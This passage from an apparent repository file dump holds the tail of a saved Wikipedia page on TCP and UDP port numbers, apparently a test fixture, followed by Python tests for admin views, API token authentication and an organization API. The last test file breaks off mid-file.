href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\" title=\"Edit this page [e]\" accesskey=\"e\"><span>Edit</span></a></li><li id=\"ca-history\" class=\"mw-list-item\"><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=history\" title=\"Past revisions of this page [h]\" accesskey=\"h\"><span>View history</span></a></li></ul>\n\n\t</div>\n</nav>\n\n\n<nav id=\"p-cactions\" class=\"vector-menu mw-portlet mw-portlet-cactions emptyPortlet vector-menu-dropdown-noicon vector-menu-dropdown\" aria-labelledby=\"p-cactions-label\" role=\"navigation\"  title=\"More options\" >\n\t<input type=\"checkbox\"\n\t\tid=\"p-cactions-checkbox\"\n\t\trole=\"button\"\n\t\taria-haspopup=\"true\"\n\t\tdata-event-name=\"ui.dropdown-p-cactions\"\n\t\tclass=\"vector-menu-checkbox\"\n\t\taria-labelledby=\"p-cactions-label\"\n\t/>\n\t<label\n\t\tid=\"p-cactions-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">More</span>\n\t</label>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"></ul>\n\n\t</div>\n</nav>\n\n\n<div id=\"p-search\" role=\"search\" class=\"vector-search-box-vue  vector-search-box-show-thumbnail vector-search-box-auto-expand-width vector-search-box\">\n\t<div>\n\t\t<form action=\"/w/index.php\" id=\"searchform\"\n\t\t\tclass=\"vector-search-box-form\">\n\t\t\t<div id=\"simpleSearch\"\n\t\t\t\tclass=\"vector-search-box-inner\"\n\t\t\t\t data-search-loc=\"header-navigation\">\n\t\t\t\t<input class=\"vector-search-box-input\"\n\t\t\t\t\t type=\"search\" name=\"search\" placeholder=\"Search Wikipedia\" aria-label=\"Search Wikipedia\" autocapitalize=\"sentences\" title=\"Search Wikipedia [f]\" accesskey=\"f\" id=\"searchInput\"\n\t\t\t\t>\n\t\t\t\t<input type=\"hidden\" name=\"title\" value=\"Special:Search\">\n\t\t\t\t<input id=\"mw-searchButton\"\n\t\t\t\t\t class=\"searchButton mw-fallbackSearchButton\" type=\"submit\" name=\"fulltext\" title=\"Search Wikipedia for this text\" value=\"Search\">\n\t\t\t\t<input id=\"searchButton\"\n\t\t\t\t\t class=\"searchButton\" type=\"submit\" name=\"go\" title=\"Go to a page with this exact name if it exists\" value=\"Go\">\n\t\t\t</div>\n\t\t</form>\n\t</div>\n</div>\n\n\t\t</div>\n\t</div>\n\n<div id=\"mw-panel\" class=\"vector-legacy-sidebar\">\n\t<div id=\"p-logo\" role=\"banner\">\n\t\t<a class=\"mw-wiki-logo\" href=\"/wiki/Main_Page\"\n\t\t\ttitle=\"Visit the main page\"></a>\n\t</div>\n\n<nav id=\"p-navigation\" class=\"vector-menu mw-portlet mw-portlet-navigation vector-menu-portal portal\" aria-labelledby=\"p-navigation-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-navigation-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Navigation</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"n-mainpage-description\" class=\"mw-list-item\"><a href=\"/wiki/Main_Page\" title=\"Visit the main page [z]\" accesskey=\"z\"><span>Main page</span></a></li><li id=\"n-contents\" class=\"mw-list-item\"><a href=\"/wiki/Wikipedia:Contents\" title=\"Guides to browsing Wikipedia\"><span>Contents</span></a></li><li id=\"n-currentevents\" class=\"mw-list-item\"><a href=\"/wiki/Portal:Current_events\" title=\"Articles related to current events\"><span>Current events</span></a></li><li id=\"n-randompage\" class=\"mw-list-item\"><a href=\"/wiki/Special:Random\" title=\"Visit a randomly selected article [x]\" accesskey=\"x\"><span>Random article</span></a></li><li id=\"n-aboutsite\" class=\"mw-list-item\"><a href=\"/wiki/Wikipedia:About\" title=\"Learn about Wikipedia and how it works\"><span>About Wikipedia</span></a></li><li id=\"n-contactpage\" class=\"mw-list-item\"><a href=\"//en.wikipedia.org/wiki/Wikipedia:Contact_us\" title=\"How to contact Wikipedia\"><span>Contact us</span></a></li><li id=\"n-sitesupport\" class=\"mw-list-item\"><a href=\"https://donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&amp;utm_medium=sidebar&amp;utm_campaign=C13_en.wikipedia.org&amp;uselang=en\" title=\"Support us by donating to the Wikimedia Foundation\"><span>Donate</span></a></li></ul>\n\n\t</div>\n</nav>\n\n\n<nav id=\"p-interaction\" class=\"vector-menu mw-portlet mw-portlet-interaction vector-menu-portal portal\" aria-labelledby=\"p-interaction-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-interaction-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Contribute</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"n-help\" class=\"mw-list-item\"><a href=\"/wiki/Help:Contents\" title=\"Guidance on how to use and edit Wikipedia\"><span>Help</span></a></li><li id=\"n-introduction\" class=\"mw-list-item\"><a href=\"/wiki/Help:Introduction\" title=\"Learn how to edit Wikipedia\"><span>Learn to edit</span></a></li><li id=\"n-portal\" class=\"mw-list-item\"><a href=\"/wiki/Wikipedia:Community_portal\" title=\"The hub for editors\"><span>Community portal</span></a></li><li id=\"n-recentchanges\" class=\"mw-list-item\"><a href=\"/wiki/Special:RecentChanges\" title=\"A list of recent changes to Wikipedia [r]\" accesskey=\"r\"><span>Recent changes</span></a></li><li id=\"n-upload\" class=\"mw-list-item\"><a href=\"/wiki/Wikipedia:File_upload_wizard\" title=\"Add images or other media for use on Wikipedia\"><span>Upload file</span></a></li></ul>\n\n\t</div>\n</nav>\n\n<nav id=\"p-tb\" class=\"vector-menu mw-portlet mw-portlet-tb vector-menu-portal portal\" aria-labelledby=\"p-tb-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-tb-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Tools</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"t-whatlinkshere\" class=\"mw-list-item\"><a href=\"/wiki/Special:WhatLinksHere/List_of_TCP_and_UDP_port_numbers\" title=\"List of all English Wikipedia pages containing links to this page [j]\" accesskey=\"j\"><span>What links here</span></a></li><li id=\"t-recentchangeslinked\" class=\"mw-list-item\"><a href=\"/wiki/Special:RecentChangesLinked/List_of_TCP_and_UDP_port_numbers\" rel=\"nofollow\" title=\"Recent changes in pages linked from this page [k]\" accesskey=\"k\"><span>Related changes</span></a></li><li id=\"t-upload\" class=\"mw-list-item\"><a href=\"/wiki/Wikipedia:File_Upload_Wizard\" title=\"Upload files [u]\" accesskey=\"u\"><span>Upload file</span></a></li><li id=\"t-specialpages\" class=\"mw-list-item\"><a href=\"/wiki/Special:SpecialPages\" title=\"A list of all special pages [q]\" accesskey=\"q\"><span>Special pages</span></a></li><li id=\"t-permalink\" class=\"mw-list-item\"><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;oldid=1133881064\" title=\"Permanent link to this revision of this page\"><span>Permanent link</span></a></li><li id=\"t-info\" class=\"mw-list-item\"><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=info\" title=\"More information about this page\"><span>Page information</span></a></li><li id=\"t-cite\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Special:CiteThisPage&amp;page=List_of_TCP_and_UDP_port_numbers&amp;id=1133881064&amp;wpFormIdentifier=titleform\" title=\"Information on how to cite this page\"><span>Cite this page</span></a></li><li id=\"t-wikibase\" class=\"mw-list-item\"><a href=\"https://www.wikidata.org/wiki/Special:EntityPage/Q756750\" title=\"Structured data on this page hosted by Wikidata [g]\" accesskey=\"g\"><span>Wikidata item</span></a></li></ul>\n\n\t</div>\n</nav>\n\n<nav id=\"p-coll-print_export\" class=\"vector-menu mw-portlet mw-portlet-coll-print_export vector-menu-portal portal\" aria-labelledby=\"p-coll-print_export-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-coll-print_export-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Print/export</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"coll-download-as-rl\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Special:DownloadAsPdf&amp;page=List_of_TCP_and_UDP_port_numbers&amp;action=show-download-screen\" title=\"Download this page as a PDF file\"><span>Download as PDF</span></a></li><li id=\"t-print\" class=\"mw-list-item\"><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;printable=yes\" title=\"Printable version of this page [p]\" accesskey=\"p\"><span>Printable version</span></a></li></ul>\n\n\t</div>\n</nav>\n\n\n<nav id=\"p-lang\" class=\"vector-menu mw-portlet mw-portlet-lang vector-menu-portal portal\" aria-labelledby=\"p-lang-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-lang-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Languages</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li class=\"interlanguage-link interwiki-az mw-list-item\"><a href=\"https://az.wikipedia.org/wiki/TCP_v%C9%99_UDP_port_n%C3%B6mr%C9%99l%C9%99rinin_siyah%C4%B1s%C4%B1\" title=\"TCP və UDP port nömrələrinin siyahısı – Azerbaijani\" lang=\"az\" hreflang=\"az\" class=\"interlanguage-link-target\"><span>Azərbaycanca</span></a></li><li class=\"interlanguage-link interwiki-bn mw-list-item\"><a href=\"https://bn.wikipedia.org/wiki/%E0%A6%9F%E0%A6%BF_%E0%A6%B8%E0%A6%BF_%E0%A6%AA%E0%A6%BF_%E0%A6%8F%E0%A6%AC%E0%A6%82_%E0%A6%87%E0%A6%89_%E0%A6%A1%E0%A6%BF_%E0%A6%AA%E0%A6%BF_%E0%A6%8F%E0%A6%B0_%E0%A6%AA%E0%A7%8B%E0%A6%B0%E0%A7%8D%E0%A6%9F_%E0%A6%A8%E0%A6%AE%E0%A7%8D%E0%A6%AC%E0%A6%B0%E0%A7%87%E0%A6%B0_%E0%A6%A4%E0%A6%BE%E0%A6%B2%E0%A6%BF%E0%A6%95%E0%A6%BE\" title=\"টি সি পি এবং ইউ ডি পি এর পোর্ট নম্বরের তালিকা – Bangla\" lang=\"bn\" hreflang=\"bn\" class=\"interlanguage-link-target\"><span>বাংলা</span></a></li><li class=\"interlanguage-link interwiki-cs mw-list-item\"><a href=\"https://cs.wikipedia.org/wiki/Seznam_%C4%8D%C3%ADsel_port%C5%AF_TCP_a_UDP\" title=\"Seznam čísel portů TCP a UDP – Czech\" lang=\"cs\" hreflang=\"cs\" class=\"interlanguage-link-target\"><span>Čeština</span></a></li><li class=\"interlanguage-link interwiki-de mw-list-item\"><a href=\"https://de.wikipedia.org/wiki/Liste_der_standardisierten_Ports\" title=\"Liste der standardisierten Ports – German\" lang=\"de\" hreflang=\"de\" class=\"interlanguage-link-target\"><span>Deutsch</span></a></li><li class=\"interlanguage-link interwiki-et mw-list-item\"><a href=\"https://et.wikipedia.org/wiki/TCP_ja_UDP_portide_loend\" title=\"TCP ja UDP portide loend – Estonian\" lang=\"et\" hreflang=\"et\" class=\"interlanguage-link-target\"><span>Eesti</span></a></li><li class=\"interlanguage-link interwiki-el mw-list-item\"><a href=\"https://el.wikipedia.org/wiki/%CE%9A%CE%B1%CF%84%CE%AC%CE%BB%CE%BF%CE%B3%CE%BF%CF%82_%CE%B8%CF%85%CF%81%CF%8E%CE%BD_TCP_%CE%BA%CE%B1%CE%B9_UDP\" title=\"Κατάλογος θυρών TCP και UDP – Greek\" lang=\"el\" hreflang=\"el\" class=\"interlanguage-link-target\"><span>Ελληνικά</span></a></li><li class=\"interlanguage-link interwiki-es mw-list-item\"><a href=\"https://es.wikipedia.org/wiki/Anexo:Puertos_de_red\" title=\"Anexo:Puertos de red – Spanish\" lang=\"es\" hreflang=\"es\" class=\"interlanguage-link-target\"><span>Español</span></a></li><li class=\"interlanguage-link interwiki-fa mw-list-item\"><a href=\"https://fa.wikipedia.org/wiki/%D9%81%D9%87%D8%B1%D8%B3%D8%AA_%D8%B9%D8%AF%D8%AF%D9%87%D8%A7%DB%8C_%D8%AF%D8%B1%DA%AF%D8%A7%D9%87_%D8%AA%DB%8C%E2%80%8C%D8%B3%DB%8C%E2%80%8C%D9%BE%DB%8C_%D9%88_%DB%8C%D9%88%D8%AF%DB%8C%E2%80%8C%D9%BE%DB%8C\" title=\"فهرست عددهای درگاه تی‌سی‌پی و یودی‌پی – Persian\" lang=\"fa\" hreflang=\"fa\" class=\"interlanguage-link-target\"><span>فارسی</span></a></li><li class=\"interlanguage-link interwiki-fr mw-list-item\"><a href=\"https://fr.wikipedia.org/wiki/Liste_de_ports_logiciels\" title=\"Liste de ports logiciels – French\" lang=\"fr\" hreflang=\"fr\" class=\"interlanguage-link-target\"><span>Français</span></a></li><li class=\"interlanguage-link interwiki-ko mw-list-item\"><a href=\"https://ko.wikipedia.org/wiki/TCP/UDP%EC%9D%98_%ED%8F%AC%ED%8A%B8_%EB%AA%A9%EB%A1%9D\" title=\"TCP/UDP의 포트 목록 – Korean\" lang=\"ko\" hreflang=\"ko\" class=\"interlanguage-link-target\"><span>한국어</span></a></li><li class=\"interlanguage-link interwiki-it mw-list-item\"><a href=\"https://it.wikipedia.org/wiki/Porte_TCP_e_UDP_standard\" title=\"Porte TCP e UDP standard – Italian\" lang=\"it\" hreflang=\"it\" class=\"interlanguage-link-target\"><span>Italiano</span></a></li><li class=\"interlanguage-link interwiki-lv mw-list-item\"><a href=\"https://lv.wikipedia.org/wiki/TCP_un_UDP_portu_numuri\" title=\"TCP un UDP portu numuri – Latvian\" lang=\"lv\" hreflang=\"lv\" class=\"interlanguage-link-target\"><span>Latviešu</span></a></li><li class=\"interlanguage-link interwiki-hu mw-list-item\"><a href=\"https://hu.wikipedia.org/wiki/TCP_%C3%A9s_UDP_portsz%C3%A1mok_list%C3%A1ja\" title=\"TCP és UDP portszámok listája – Hungarian\" lang=\"hu\" hreflang=\"hu\" class=\"interlanguage-link-target\"><span>Magyar</span></a></li><li class=\"interlanguage-link interwiki-nl mw-list-item\"><a href=\"https://nl.wikipedia.org/wiki/TCP-_en_UDP-poorten\" title=\"TCP- en UDP-poorten – Dutch\" lang=\"nl\" hreflang=\"nl\" class=\"interlanguage-link-target\"><span>Nederlands</span></a></li><li class=\"interlanguage-link interwiki-ja mw-list-item\"><a href=\"https://ja.wikipedia.org/wiki/TCP%E3%82%84UDP%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%9D%E3%83%BC%E3%83%88%E7%95%AA%E5%8F%B7%E3%81%AE%E4%B8%80%E8%A6%A7\" title=\"TCPやUDPにおけるポート番号の一覧 – Japanese\" lang=\"ja\" hreflang=\"ja\" class=\"interlanguage-link-target\"><span>日本語</span></a></li><li class=\"interlanguage-link interwiki-pt mw-list-item\"><a href=\"https://pt.wikipedia.org/wiki/Lista_de_portas_dos_protocolos_TCP_e_UDP\" title=\"Lista de portas dos protocolos TCP e UDP – Portuguese\" lang=\"pt\" hreflang=\"pt\" class=\"interlanguage-link-target\"><span>Português</span></a></li><li class=\"interlanguage-link interwiki-ro mw-list-item\"><a href=\"https://ro.wikipedia.org/wiki/List%C4%83_cu_porturi_de_re%C8%9Bea_TCP/UDP\" title=\"Listă cu porturi de rețea TCP/UDP – Romanian\" lang=\"ro\" hreflang=\"ro\" class=\"interlanguage-link-target\"><span>Română</span></a></li><li class=\"interlanguage-link interwiki-ru mw-list-item\"><a href=\"https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D0%BE%D1%80%D1%82%D0%BE%D0%B2_TCP_%D0%B8_UDP\" title=\"Список портов TCP и UDP – Russian\" lang=\"ru\" hreflang=\"ru\" class=\"interlanguage-link-target\"><span>Русский</span></a></li><li class=\"interlanguage-link interwiki-sk mw-list-item\"><a href=\"https://sk.wikipedia.org/wiki/Zoznam_zn%C3%A1mych_portov\" title=\"Zoznam známych portov – Slovak\" lang=\"sk\" hreflang=\"sk\" class=\"interlanguage-link-target\"><span>Slovenčina</span></a></li><li class=\"interlanguage-link interwiki-sl mw-list-item\"><a href=\"https://sl.wikipedia.org/wiki/Vrata_(ra%C4%8Dunalni%C5%A1tvo)\" title=\"Vrata (računalništvo) – Slovenian\" lang=\"sl\" hreflang=\"sl\" class=\"interlanguage-link-target\"><span>Slovenščina</span></a></li><li class=\"interlanguage-link interwiki-tr mw-list-item\"><a href=\"https://tr.wikipedia.org/wiki/TCP_ve_UDP_ba%C4%9Flant%C4%B1_noktas%C4%B1_numaralar%C4%B1_listesi\" title=\"TCP ve UDP bağlantı noktası numaraları listesi – Turkish\" lang=\"tr\" hreflang=\"tr\" class=\"interlanguage-link-target\"><span>Türkçe</span></a></li><li class=\"interlanguage-link interwiki-uk mw-list-item\"><a href=\"https://uk.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BD%D0%BE%D0%BC%D0%B5%D1%80%D1%96%D0%B2_%D0%BF%D0%BE%D1%80%D1%82%D1%96%D0%B2_TCP_%D1%82%D0%B0_UDP\" title=\"Список номерів портів TCP та UDP – Ukrainian\" lang=\"uk\" hreflang=\"uk\" class=\"interlanguage-link-target\"><span>Українська</span></a></li><li class=\"interlanguage-link interwiki-zh mw-list-item\"><a href=\"https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8\" title=\"TCP/UDP端口列表 – Chinese\" lang=\"zh\" hreflang=\"zh\" class=\"interlanguage-link-target\"><span>中文</span></a></li></ul>\n\t    <div class=\"after-portlet after-portlet-lang\"><span class=\"wb-langlinks-edit wb-langlinks-link\"><a href=\"https://www.wikidata.org/wiki/Special:EntityPage/Q756750#sitelinks-wikipedia\" title=\"Edit interlanguage links\" class=\"wbc-editpage\">Edit links</a></span></div>\n\t</div>\n</nav>\n\n</div>\n\n</div>\n\n<footer id=\"footer\" class=\"mw-footer\" role=\"contentinfo\" >\n\t<ul id=\"footer-info\">\n\t<li id=\"footer-info-lastmod\"> This page was last edited on 15 January 2023, at 23:56<span class=\"anonymous-show\">&#160;(UTC)</span>.</li>\n\t<li id=\"footer-info-copyright\">Text is available under the <a rel=\"license\" href=\"//en.wikipedia.org/wiki/Wikipedia:Text_of_the_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License\">Creative Commons Attribution-ShareAlike License 3.0</a><a rel=\"license\" href=\"//creativecommons.org/licenses/by-sa/3.0/\" style=\"display:none;\"></a>;\nadditional terms may apply.  By using this site, you agree to the <a href=\"//foundation.wikimedia.org/wiki/Terms_of_Use\">Terms of Use</a> and <a href=\"//foundation.wikimedia.org/wiki/Privacy_policy\">Privacy Policy</a>. Wikipedia® is a registered trademark of the <a href=\"//www.wikimediafoundation.org/\">Wikimedia Foundation, Inc.</a>, a non-profit organization.</li>\n</ul>\n\n\t<ul id=\"footer-places\">\n\t<li id=\"footer-places-privacy\"><a href=\"https://foundation.wikimedia.org/wiki/Privacy_policy\">Privacy policy</a></li>\n\t<li id=\"footer-places-about\"><a href=\"/wiki/Wikipedia:About\">About Wikipedia</a></li>\n\t<li id=\"footer-places-disclaimers\"><a href=\"/wiki/Wikipedia:General_disclaimer\">Disclaimers</a></li>\n\t<li id=\"footer-places-contact\"><a href=\"//en.wikipedia.org/wiki/Wikipedia:Contact_us\">Contact Wikipedia</a></li>\n\t<li id=\"footer-places-mobileview\"><a href=\"//en.m.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;mobileaction=toggle_view_mobile\" class=\"noprint stopMobileRedirectToggle\">Mobile view</a></li>\n\t<li id=\"footer-places-developers\"><a href=\"https://developer.wikimedia.org\">Developers</a></li>\n\t<li id=\"footer-places-statslink\"><a href=\"https://stats.wikimedia.org/#/en.wikipedia.org\">Statistics</a></li>\n\t<li id=\"footer-places-cookiestatement\"><a href=\"https://foundation.wikimedia.org/wiki/Cookie_statement\">Cookie statement</a></li>\n</ul>\n\n\t<ul id=\"footer-icons\" class=\"noprint\">\n\t<li id=\"footer-copyrightico\"><a href=\"https://wikimediafoundation.org/\"><img src=\"/static/images/footer/wikimedia-button.png\" srcset=\"/static/images/footer/wikimedia-button-1.5x.png 1.5x, /static/images/footer/wikimedia-button-2x.png 2x\" width=\"88\" height=\"31\" alt=\"Wikimedia Foundation\" loading=\"lazy\" /></a></li>\n\t<li id=\"footer-poweredbyico\"><a href=\"https://www.mediawiki.org/\"><img src=\"/static/images/footer/poweredby_mediawiki_88x31.png\" alt=\"Powered by MediaWiki\" srcset=\"/static/images/footer/poweredby_mediawiki_132x47.png 1.5x, /static/images/footer/poweredby_mediawiki_176x62.png 2x\" width=\"88\" height=\"31\" loading=\"lazy\"/></a></li>\n</ul>\n\n</footer>\n\n<script>(RLQ=window.RLQ||[]).push(function(){mw.config.set({\"wgPageParseReport\":{\"limitreport\":{\"cputime\":\"5.498\",\"walltime\":\"5.706\",\"ppvisitednodes\":{\"value\":75819,\"limit\":1000000},\"postexpandincludesize\":{\"value\":1493556,\"limit\":2097152},\"templateargumentsize\":{\"value\":118426,\"limit\":2097152},\"expansiondepth\":{\"value\":22,\"limit\":100},\"expensivefunctioncount\":{\"value\":48,\"limit\":500},\"unstrip-depth\":{\"value\":1,\"limit\":20},\"unstrip-size\":{\"value\":1232284,\"limit\":5000000},\"entityaccesscount\":{\"value\":0,\"limit\":400},\"timingprofile\":[\"100.00% 4707.677      1 -total\",\" 63.32% 2981.005      2 Template:Reflist\",\" 23.75% 1118.289    239 Template:Cite_web\",\" 20.47%  963.619    146 Template:Fix\",\" 17.22%  810.602     83 Template:Cite_IETF\",\" 14.89%  700.761     83 Template:Citation_needed\",\"  9.70%  456.578    145 Template:Delink\",\"  7.24%  340.894    242 Template:Category_handler\",\"  5.37%  253.011     44 Template:Cite_book\",\"  3.46%  162.808     23 Template:User-generated_source\"]},\"scribunto\":{\"limitreport-timeusage\":{\"value\":\"2.968\",\"limit\":\"10.000\"},\"limitreport-memusage\":{\"value\":9142896,\"limit\":52428800},\"limitreport-profile\":[[\"MediaWiki\\\\Extension\\\\Scribunto\\\\Engines\\\\LuaSandbox\\\\LuaSandboxCallback::getAllExpandedArguments\",\"500\",\"14.5\"],[\"?\",\"440\",\"12.7\"],[\"MediaWiki\\\\Extension\\\\Scribunto\\\\Engines\\\\LuaSandbox\\\\LuaSandboxCallback::gsub\",\"360\",\"10.4\"],[\"dataWrapper \\u003Cmw.lua:672\\u003E\",\"300\",\"8.7\"],[\"MediaWiki\\\\Extension\\\\Scribunto\\\\Engines\\\\LuaSandbox\\\\LuaSandboxCallback::getExpandedArgument\",\"260\",\"7.5\"],[\"MediaWiki\\\\Extension\\\\Scribunto\\\\Engines\\\\LuaSandbox\\\\LuaSandboxCallback::sub\",\"180\",\"5.2\"],[\"recursiveClone \\u003CmwInit.lua:41\\u003E\",\"140\",\"4.0\"],[\"MediaWiki\\\\Extension\\\\Scribunto\\\\Engines\\\\LuaSandbox\\\\LuaSandboxCallback::callParserFunction\",\"140\",\"4.0\"],[\"\\u003Cmw.lua:694\\u003E\",\"120\",\"3.5\"],[\"select_one \\u003CModule:Citation/CS1/Utilities:426\\u003E\",\"120\",\"3.5\"],[\"[others]\",\"900\",\"26.0\"]]},\"cachereport\":{\"origin\":\"mw1375\",\"timestamp\":\"20230115235709\",\"ttl\":1814400,\"transientcontent\":false}}});});</script>\n<script type=\"application/ld+json\">{\"@context\":\"https:\\/\\/schema.org\",\"@type\":\"Article\",\"name\":\"List of TCP and UDP port numbers\",\"url\":\"https:\\/\\/en.wikipedia.org\\/wiki\\/List_of_TCP_and_UDP_port_numbers\",\"sameAs\":\"http:\\/\\/www.wikidata.org\\/entity\\/Q756750\",\"mainEntity\":\"http:\\/\\/www.wikidata.org\\/entity\\/Q756750\",\"author\":{\"@type\":\"Organization\",\"name\":\"Contributors to Wikimedia projects\"},\"publisher\":{\"@type\":\"Organization\",\"name\":\"Wikimedia Foundation, Inc.\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\/\\/www.wikimedia.org\\/static\\/images\\/wmf-hor-googpub.png\"}},\"datePublished\":\"2003-10-22T15:27:46Z\",\"dateModified\":\"2023-01-15T23:56:58Z\",\"headline\":\"Wikimedia list article\"}</script><script type=\"application/ld+json\">{\"@context\":\"https:\\/\\/schema.org\",\"@type\":\"Article\",\"name\":\"List of TCP and UDP port numbers\",\"url\":\"https:\\/\\/en.wikipedia.org\\/wiki\\/List_of_TCP_and_UDP_port_numbers\",\"sameAs\":\"http:\\/\\/www.wikidata.org\\/entity\\/Q756750\",\"mainEntity\":\"http:\\/\\/www.wikidata.org\\/entity\\/Q756750\",\"author\":{\"@type\":\"Organization\",\"name\":\"Contributors to Wikimedia projects\"},\"publisher\":{\"@type\":\"Organization\",\"name\":\"Wikimedia Foundation, Inc.\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\/\\/www.wikimedia.org\\/static\\/images\\/wmf-hor-googpub.png\"}},\"datePublished\":\"2003-10-22T15:27:46Z\",\"dateModified\":\"2023-01-15T23:56:58Z\",\"headline\":\"Wikimedia list article\"}</script>\n<script>(RLQ=window.RLQ||[]).push(function(){mw.config.set({\"wgBackendResponseTime\":123,\"wgHostname\":\"mw1389\"});});</script>\n</body>\n</html>\n"
  },
  {
    "path": "rocky/tests/test_admin.py",
    "content": "from unittest.mock import patch\n\nfrom account.models import AuthToken\nfrom admin_auto_tests.test_model import ModelAdminTestCase\nfrom model_mommy import mommy, random_gen\nfrom tools.models import Organization\n\nmommy.generators.add(\"account.models.LowercaseEmailField\", random_gen.gen_email)\nmommy.generators.add(\"tools.fields.LowerCaseSlugField\", random_gen.gen_slug)\n\n\nclass OrganizationAdminTestCase(ModelAdminTestCase):\n    model = Organization\n\n    def setUp(self):\n        super().setUp()\n\n        katalogus_patcher = patch(\"katalogus.client.KATalogusClient\")\n        katalogus_patcher.start()\n        self.addCleanup(katalogus_patcher.stop)\n\n        octopoes_patcher = patch(\"rocky.signals.OctopoesAPIConnector\")\n        octopoes_patcher.start()\n        self.addCleanup(octopoes_patcher.stop)\n\n        scheduler_patcher = patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n        scheduler_patcher.start()\n        self.addCleanup(scheduler_patcher.stop)\n\n        bytes_patcher = patch(\"rocky.bytes_client.BytesClient\")\n        bytes_patcher.start()\n        self.addCleanup(bytes_patcher.stop)\n\n\nclass AuthTokenAdminTestCase(ModelAdminTestCase):\n    model = AuthToken\n\n    def create_form_instance_data(self, response, instance_data=None):\n        ret = super().create_form_instance_data(response, instance_data)\n\n        return ret\n\n    def create(self, commit=True, model=None, follow_fk=True, generate_fk=True, field_values=None):\n        model = model or self.model\n        field_values = field_values or self.field_values or {}\n        if commit:\n            instance = mommy.make(model, **field_values)\n        else:\n            instance = mommy.prepare(model, **field_values, _save_related=True)\n        return instance\n"
  },
  {
    "path": "rocky/tests/test_api.py",
    "content": "from account.models import AuthToken\n\n\n# Regression test for https://github.com/minvws/nl-kat-coordination/issues/2872\ndef test_api_2fa_enabled(client, settings, admin_user):\n    settings.TWOFACTOR_ENABLED = True\n\n    token_object = AuthToken(name=\"Test\", user=admin_user)\n    token = token_object.generate_new_token()\n    token_object.save()\n\n    response = client.get(\"/api/v1/organization/\", headers={\"Authorization\": f\"Token {token}\"})\n    assert response.status_code == 200\n\n\n# Regression test for https://github.com/minvws/nl-kat-coordination/issues/3754\ndef test_auth_header_wrong_format(client, settings, admin_user):\n    response = client.get(\"/api/v1/organization/\", headers={\"Authorization\": \"Not a token\"})\n    assert response.status_code == 401\n"
  },
  {
    "path": "rocky/tests/test_api_organization.py",
    "content": "from typing import Any\nfrom unittest.mock import patch\n\nimport pytest\nfrom django.contrib.auth.models import Permission\nfrom django.urls import reverse\nfrom httpx import HTTPError\nfrom pytest_assert_utils import assert_model_attrs\nfrom pytest_common_subject import precondition_fixture\nfrom pytest_drf import (\n    APIViewTest,\n    Returns200,\n    Returns201,\n    Returns204,\n    Returns400,\n    Returns403,\n    Returns409,\n    Returns500,\n    UsesDeleteMethod,\n    UsesDetailEndpoint,\n    UsesGetMethod,\n    UsesListEndpoint,\n    UsesPatchMethod,\n    UsesPostMethod,\n    ViewSetTest,\n)\nfrom pytest_drf.util import pluralized, url_for\nfrom pytest_lambda import lambda_fixture, static_fixture\nfrom tools.models import Organization\n\npytestmark = pytest.mark.django_db\n\n\ndef express_organization(organization: Organization) -> dict[str, Any]:\n    return {\n        \"id\": organization.id,\n        \"name\": organization.name,\n        \"code\": organization.code,\n        \"tags\": [tag for tag in organization.tags.all()],\n    }\n\n\nexpress_organizations = pluralized(express_organization)\n\n\nclass TestOrganizationViewSet(ViewSetTest):\n    @pytest.fixture\n    def organizations(self):\n        created_organizations = []\n        organizations = [\n            {\"name\": \"Test Organization 1\", \"code\": \"test1\", \"tags\": [\"tag1\", \"tag2\"]},\n            {\"name\": \"Test Organization 2\", \"code\": \"test2\"},\n        ]\n\n        for org in organizations:\n            with (\n                patch(\"katalogus.client.KATalogusClient\"),\n                patch(\"rocky.signals.OctopoesAPIConnector\"),\n                patch(\"crisis_room.management.commands.dashboards.scheduler_client\"),\n                patch(\"crisis_room.management.commands.dashboards.get_bytes_client\"),\n            ):\n                